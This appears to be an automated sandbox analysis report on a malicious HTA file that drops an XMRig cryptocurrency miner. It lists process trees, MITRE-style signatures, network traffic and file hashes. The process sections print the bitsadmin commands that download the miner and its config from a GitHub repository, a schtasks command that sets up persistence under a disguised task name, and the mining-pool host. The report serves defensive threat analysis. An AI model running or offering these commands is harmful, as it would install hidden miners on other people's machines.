Malware Analysis Report

2024-10-16 05:07

Sample ID 240725-jcv47swcmn
Target service.hta
SHA256 3866558b33583617bbfc1e30a72649c03b83ac530ad9125a5ae2854cdc41af80
Tags
discovery dropper xmrig miner
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3866558b33583617bbfc1e30a72649c03b83ac530ad9125a5ae2854cdc41af80

Threat Level: Known bad

The file service.hta was found to be: Known bad.

Malicious Activity Summary

discovery dropper xmrig miner

xmrig

XMRig Miner payload

Download via BitsAdmin

Downloads MZ/PE file

Checks computer location settings

Legitimate hosting services abused for malware hosting/C2

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Suspicious use of WriteProcessMemory

Scheduled Task/Job: Scheduled Task

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-25 07:31

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-25 07:31

Reported

2024-07-25 07:34

Platform

win7-20240705-en

Max time kernel

119s

Max time network

120s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\service.hta"

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1124 wrote to memory of 2916 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1124 wrote to memory of 2916 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1124 wrote to memory of 2916 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1124 wrote to memory of 2916 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1124 wrote to memory of 2884 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1124 wrote to memory of 2884 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1124 wrote to memory of 2884 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1124 wrote to memory of 2884 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\service.hta"

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer down https://github.com/lazy909090/service/raw/main/solr.exe C:\Users\Admin\AppData\Local\Temp\cache\solr.exe

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer down https://raw.githubusercontent.com/lazy909090/service/main/config.json C:\Users\Admin\AppData\Local\Temp\cache\config.json

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.109.133:443 raw.githubusercontent.com tcp
US 185.199.109.133:443 raw.githubusercontent.com tcp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-25 07:31

Reported

2024-07-25 07:34

Platform

win10v2004-20240709-en

Max time kernel

148s

Max time network

150s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\service.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\hostname.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\cache\solr.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\cache\solr.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\cache\solr.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5076 wrote to memory of 1488 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 5076 wrote to memory of 1488 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 5076 wrote to memory of 1488 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 5076 wrote to memory of 4148 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 5076 wrote to memory of 4148 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 5076 wrote to memory of 4148 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 5076 wrote to memory of 4840 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\hostname.exe
PID 5076 wrote to memory of 4840 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\hostname.exe
PID 5076 wrote to memory of 4840 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\hostname.exe
PID 5076 wrote to memory of 3948 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\schtasks.exe
PID 5076 wrote to memory of 3948 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\schtasks.exe
PID 5076 wrote to memory of 3948 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\schtasks.exe
PID 5076 wrote to memory of 3848 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\cache\solr.exe
PID 5076 wrote to memory of 3848 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\cache\solr.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\service.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer down https://github.com/lazy909090/service/raw/main/solr.exe C:\Users\Admin\AppData\Local\Temp\cache\solr.exe

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer down https://raw.githubusercontent.com/lazy909090/service/main/config.json C:\Users\Admin\AppData\Local\Temp\cache\config.json

C:\Windows\SysWOW64\hostname.exe

hostname

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN "Tomcat service for Windows Service" /TR C:\Users\Admin\AppData\Local\Temp\cache\solr.exe /MO 30 /F

C:\Users\Admin\AppData\Local\Temp\cache\solr.exe

"C:\Users\Admin\AppData\Local\Temp\cache\solr.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.109.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 133.109.199.185.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 147.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 us-zephyr.miningocean.org udp
US 15.204.244.104:5432 us-zephyr.miningocean.org tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 104.244.204.15.in-addr.arpa udp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
IE 52.111.236.23:443 tcp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\cache\config.json

MD5 35db1b5aa1c10701116639c49f1ca7d0
SHA1 965a6e37503706fa1147f7bb8a84a1e50bed3053
SHA256 88bde0aa430a438b835b487c38c1563925ac72b6166ab555af49dd002bc744b3
SHA512 7f60127b41395ceb39076916f1271fd15a3fc9c22ab9f3734eff7916380a83a71889c90c142c12d5f295bf32844e079aa9c9166c63a2c9a016657931e44af730

memory/3848-1-0x000002271B8D0000-0x000002271B8F0000-memory.dmp

memory/3848-4-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp

memory/3848-5-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp

memory/3848-6-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp

memory/3848-7-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp

memory/3848-8-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp

memory/3848-9-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp

memory/3848-10-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp

memory/3848-11-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp

memory/3848-12-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp

memory/3848-13-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp

memory/3848-14-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp